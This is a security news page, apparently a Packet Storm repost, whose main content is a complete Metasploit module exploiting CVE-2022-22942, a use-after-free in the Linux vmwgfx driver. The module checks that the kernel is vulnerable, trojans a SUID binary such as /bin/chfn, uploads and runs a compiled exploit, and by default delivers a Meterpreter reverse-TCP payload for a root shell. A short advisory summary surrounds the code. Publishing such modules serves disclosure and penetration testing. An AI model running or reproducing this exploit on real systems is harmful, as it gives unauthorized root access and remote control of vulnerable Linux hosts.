Security
Headlines
HeadlinesLatestCVEs

Headline

vmwgfx Driver File Descriptor Handling Privilege Escalation

If the vmwgfx driver fails to copy the fence_rep object to userland, it tries to recover by deallocating the (already populated) file descriptor. This is wrong, as the fd gets released via put_unused_fd() which shouldn’t be used, as the fd table slot was already populated via the previous call to fd_install(). This leaves userland with a valid fd table entry pointing to a freed file object. The authors use this bug to overwrite a SUID binary with their payload and gain root. Linux kernel versions 4.14-rc1 - 5.17-rc1 are vulnerable. Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.

Packet Storm
#ubuntu#linux#debian#git#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = GoodRanking  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::Linux::Kernel  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::Linux::Compile  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',        'Description' => %q{          If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to          recover by deallocating the (already populated) file descriptor. This is          wrong, as the fd gets released via put_unused_fd() which shouldn't be used,          as the fd table slot was already populated via the previous call to          fd_install(). This leaves userland with a valid fd table entry pointing to          a free'd 'file' object.          We use this bug to overwrite a SUID binary with our payload and gain root.          Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Mathias Krause' # original PoC, analysis        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'References' => [          [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],          [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],          [ 'CVE', '2022-22942' ]        ],        'DisclosureDate' => '2022-01-28',        'DefaultTarget' => 0,        'DefaultOptions' => {          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'PrependFork' => true        },        'Notes' => {          'Stability' => [CRASH_OS_DOWN],          'Reliability' => [REPEATABLE_SESSION],          # seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])    ]  end  def base_dir    datastore['WritableDir'].to_s  end  def check    # Check the kernel version to see if its in a vulnerable range    release = kernel_release    unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&           Rex::Version.new(release) < Rex::Version.new('5.17-rc1')      return CheckCode::Safe("Kernel version #{release} is not vulnerable")    end    vprint_good "Kernel version #{release} appears to be vulnerable"    @driver = nil    if writable?('/dev/dri/card0') # ubuntu, RHEL      @driver = '/dev/dri/card0'    elsif writable?('/dev/dri/renderD128') # debian      @driver = '/dev/dri/renderD128'    else      return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')    end    vprint_good("#{@driver} found writable")    @suid_target = nil    if setuid?('/bin/chfn') # ubuntu      @suid_target = '/bin/chfn'    elsif writable?('/bin/chage') # RHEL/Centos      @suid_target = '/bin/chage'    else      return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')    end    vprint_good("#{@suid_target} suid binary found")    if kernel_modules&.include?('vmwgfx')      return CheckCode::Appears('vmwgfx installed')    end    CheckCode::Safe('Vulnerable driver (vmwgfx) not found')  end  def exploit    # Check if we're already root    if is_root? && !datastore['ForceExploit']      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'    end    # Make sure we can write our exploit and payload to the local system    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    # backup the suid binary before we overwrite it    @suid_backup = read_file(@suid_target)    path = store_loot(      @suid_target,      'application/octet-stream',      rhost,      @suid_backup,      @suid_target    )    print_good("Original #{@suid_target} backed up to #{path}")    executable_name = ".#{rand_text_alphanumeric(5..10)}"    executable_path = "#{base_dir}/#{executable_name}"    if live_compile?      vprint_status 'Live compiling exploit on system...'      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"      c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')      c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called      c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target      c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload      upload_and_compile executable_path, strip_comments(c_code)      register_files_for_cleanup(executable_path)    else      unless @suid_target == '/bin/chfn'        fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')      end      vprint_status 'Dropping pre-compiled exploit on system...'      payload_path = '/tmp/.aYd3GAMlK'      upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')    end    # Upload payload executable    print_status("Uploading payload to #{payload_path}")    upload_and_chmodx payload_path, generate_payload_exe    register_files_for_cleanup(generate_payload_exe)    print_status 'Launching exploit...'    output = cmd_exec executable_path, nil, 30    output.each_line { |line| vprint_status line.chomp }  end  def cleanup    if @suid_backup.nil?      print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")    else      print_status("Replacing trojaned #{@suid_target} with original")      write_file(@suid_target, @suid_backup)    end    super  endend

Related news

CVE-2022-22942: Security Update 3.0 356

The vmwgfx driver contains a local privilege escalation vulnerability that allows unprivileged users to gain access to files opened by other processes on the system through a dangling 'file' pointer.

Packet Storm: Latest News

Ubuntu Security Notice USN-7027-1